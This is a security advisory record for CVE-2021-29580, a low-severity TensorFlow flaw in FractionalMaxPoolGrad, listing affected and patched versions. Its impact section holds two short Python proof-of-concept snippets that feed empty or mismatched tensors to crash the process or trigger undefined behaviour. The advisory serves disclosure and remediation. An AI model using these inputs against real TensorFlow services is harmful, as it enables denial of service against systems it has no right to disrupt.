---
id: CVE-2021-29580
aliases:
  - GHSA-x8h6-xgqx-jqgp
  - BIT-tensorflow-2021-29580
  - PYSEC-2021-217
  - PYSEC-2021-508
  - PYSEC-2021-706
title: Undefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`
summary: Undefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`
severity: low
cvss: 2.5
cvssVector: 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.1.4
  - 'tensorflow >= 2.2.0, < 2.2.3'
  - 'tensorflow >= 2.3.0, < 2.3.3'
  - 'tensorflow >= 2.4.0, < 2.4.2'
  - tensorflow-cpu < 2.1.4
  - 'tensorflow-cpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-cpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-cpu >= 2.4.0, < 2.4.2'
  - tensorflow-gpu < 2.1.4
  - 'tensorflow-gpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-gpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-gpu >= 2.4.0, < 2.4.2'
patched:
  - tensorflow 2.1.4
  - tensorflow 2.2.3
  - tensorflow 2.3.3
  - tensorflow 2.4.2
  - tensorflow-cpu 2.1.4
  - tensorflow-cpu 2.2.3
  - tensorflow-cpu 2.3.3
  - tensorflow-cpu 2.4.2
  - tensorflow-gpu 2.1.4
  - tensorflow-gpu 2.2.3
  - tensorflow-gpu 2.3.3
  - tensorflow-gpu 2.4.2
published: '2021-05-21'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-x8h6-xgqx-jqgp'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x8h6-xgqx-jqgp
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2021-29580'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/32fdcbff9d06d010d908fcc4bd4b36eb3ce15925
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-508.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-706.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-217.yaml
  - url: 'https://github.com/tensorflow/tensorflow'
tags:
  - osv
  - pip
epss: 0.00189
epssPercentile: 0.07533
ingestedAt: '2026-07-08T18:25:54.153Z'
---

## Overview

### Impact
The implementation of `tf.raw_ops.FractionalMaxPoolGrad` triggers an undefined behavior if one of the input tensors is empty:

```python
import tensorflow as tf

orig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64)
orig_output = tf.constant([], dtype=tf.int64) 
out_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64)
row_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)

tf.raw_ops.FractionalMaxPoolGrad(
  orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
  row_pooling_sequence=row_pooling_sequence,
  col_pooling_sequence=col_pooling_sequence, overlapping=False)
```

The code is also vulnerable to a denial of service attack as a `CHECK` condition becomes false and aborts the process

```python
import tensorflow as tf

orig_input = tf.constant([1], shape=[1], dtype=tf.int64)
orig_output = tf.constant([1], shape=[1], dtype=tf.int64)
out_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64) 
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)

tf.raw_ops.FractionalMaxPoolGrad(
  orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
  row_pooling_sequence=row_pooling_sequence,
  col_pooling_sequence=col_pooling_sequence, overlapping=False)
``` 

The [implementation](https://github.com/tensorflow/tensorflow/blob/169054888d50ce488dfde9ca55d91d6325efbd5b/tensorflow/core/kernels/fractional_max_pool_op.cc#L215) fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues.

### Patches
We have patched the issue in GitHub commit [32fdcbff9d06d010d908fcc4bd4b36eb3ce15925](https://github.com/tensorflow/tensorflow/commit/32fdcbff9d06d010d908fcc4bd4b36eb3ce15925).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

## Affected packages

- `tensorflow < 2.1.4`
- `tensorflow >= 2.2.0, < 2.2.3`
- `tensorflow >= 2.3.0, < 2.3.3`
- `tensorflow >= 2.4.0, < 2.4.2`
- `tensorflow-cpu < 2.1.4`
- `tensorflow-cpu >= 2.2.0, < 2.2.3`
- `tensorflow-cpu >= 2.3.0, < 2.3.3`
- `tensorflow-cpu >= 2.4.0, < 2.4.2`
- `tensorflow-gpu < 2.1.4`
- `tensorflow-gpu >= 2.2.0, < 2.2.3`
- `tensorflow-gpu >= 2.3.0, < 2.3.3`
- `tensorflow-gpu >= 2.4.0, < 2.4.2`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.1.4`
- `tensorflow 2.2.3`
- `tensorflow 2.3.3`
- `tensorflow 2.4.2`
- `tensorflow-cpu 2.1.4`
- `tensorflow-cpu 2.2.3`
- `tensorflow-cpu 2.3.3`
- `tensorflow-cpu 2.4.2`
- `tensorflow-gpu 2.1.4`
- `tensorflow-gpu 2.2.3`
- `tensorflow-gpu 2.3.3`
- `tensorflow-gpu 2.4.2`